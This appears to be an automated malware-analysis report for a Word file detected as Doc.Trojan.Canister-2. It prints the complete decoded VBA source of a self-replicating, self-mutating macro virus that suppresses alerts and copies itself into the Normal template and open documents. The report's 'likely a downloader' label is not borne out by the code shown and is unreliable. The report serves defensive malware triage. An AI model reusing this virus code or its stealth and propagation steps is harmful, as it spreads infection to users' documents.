MALICIOUS
80
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The file is identified as malicious by ClamAV with the signature Doc.Trojan.Canister-2. Static analysis revealed the presence of VBA macros within the document. The macro code appears to be obfuscated, making it difficult to determine its exact functionality, but it is designed to manipulate the document's VBA project and potentially execute further actions. The primary function seems to be related to the obfuscation and execution of malicious code, likely a downloader.
Heuristics 2
-
ClamAV: Doc.Trojan.Canister-2 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Canister-2
-
VBA macros detected medium OLE_VBA_MACROSDocument contains VBA macro code
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1918 bytes |
SHA-256: 8f25f7c25369cdd1bcf6ca94ab901d274d71d625dd9056d5f1791e3ae67a3b3d |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Name = "Module1" Private Sub Document_close() 'WMXP.CaniSter.B by Kernel32 IFUPD01: Randomize Timer: XQVMO = (False * False): GQVQQ = (True / True): GoTo IFUPD02 IFUPD02: Set SXCQI = VBE.ActiveCodePane.CodeModule: GoTo IFUPD03 IFUPD03: SVJKH = SXCQI.lines(GQVQQ, SXCQI.countoflines): GoSub IFUPD12: GoTo IFUPD04 IFUPD04: With Application: .DisplayStatusBar = XQVMO: .DisplayAlerts = wdAlertsNone: End With: GoTo IFUPD05 IFUPD05: With Application: .EnableCancelKey = wdCancelDisabled: .Options.ConfirmConversions = XQVMO: End With: GoTo IFUPD06 IFUPD06: With Options: .Application.ScreenUpdating = XQVMO: .SaveNormalPrompt = XQVMO: End With: GoTo IFUPD07: IFUPD07: Set MELCQ = Normal.ThisDocument.VBProject.vbcomponents(GQVQQ).CodeModule: GoTo IFUPD08 IFUPD08: MELCQ.deletelines GQVQQ, MELCQ.countoflines: GoTo IFUPD09 IFUPD09: MELCQ.addfromstring SVJKH: GoTo IFUPD10 IFUPD10: Set PNKFC = ActiveDocument.VBProject.vbcomponents(GQVQQ).CodeModule: GoTo IFUPD11 IFUPD11: PNKFC.deletelines GQVQQ, PNKFC.countoflines: PNKFC.addfromstring SVJKH: GoTo IFUPD18 IFUPD12: Dim HHJHS(20) As String: GoTo IFUPD13 IFUPD13: HHJHS(1) = "SXCQI": HHJHS(2) = "XQVMO": HHJHS(3) = "GQVQQ": GoTo IFUPD14 IFUPD14: HHJHS(4) = "SVJKH": HHJHS(5) = "MELCQ": HHJHS(6) = "PNKFC": GoTo IFUPD15 IFUPD15: HHJHS(7) = "HHJHS": HHJHS(8) = "IFUPD": HHJHS(9) = "AATRU": GoTo IFUPD16 IFUPD16: AATRU = Chr(Int(Rnd * 25) + 65) & Chr(Int(Rnd * 25) + 65) & Chr(Int(Rnd * 25) + 65) & Chr(Int(Rnd * 25) + 65) & Chr(Int(Rnd * 25) + 65): GoTo IFUPD17 IFUPD17: SVJKH = Replace(SVJKH, HHJHS(Int(Rnd * 9) + 1), AATRU): Return IFUPD18: End End Sub |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.